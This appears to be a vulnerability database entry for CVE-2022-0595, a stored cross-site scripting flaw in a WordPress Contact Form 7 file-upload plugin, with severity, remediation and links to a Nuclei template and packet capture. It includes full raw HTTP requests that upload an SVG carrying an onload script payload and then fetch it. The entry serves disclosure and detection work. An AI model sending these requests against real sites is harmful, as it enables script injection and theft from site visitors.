| Title | WordPress Contact Form 7 <1.3.6.3 - Stored Cross-Site Scripting |
|---|---|
| Author | akincibor |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement. |
| Remediation | Update the WordPress Contact Form 7 plugin to version 1.3.6.3 or later to mitigate the vulnerability. |
| CVSS Score | 5.4 |
| EPSS Score | 0.05776 |
| CVE ID | CVE-2022-0595 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 xss wordpress wp-plugin wpscan fileupload intrusive unauth codedropz vuln |
WordPress Contact Form 7 before 1.3.6.3 contains an unauthenticated stored cross-site scripting vulnerability in the Drag and Drop Multiple File Upload plugin. SVG files can be uploaded by default via the dnd_codedropz_upload AJAX action.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15
Connection: close
Content-Length: 689
Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161
Accept-Encoding: gzip
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="size_limit"
10485760
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="action"
dnd_codedropz_upload
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="type"
click
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="upload-file"; filename="38F45dUgKrP8Oudopti1zngVlmg.svg"
Content-Type: image/jpeg
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
-----------------------------92633278134516118923780781161--
GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/38F45dUgKrP8Oudopti1zngVlmg.svg HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.19
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0595.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0595.pcap
N/AN/A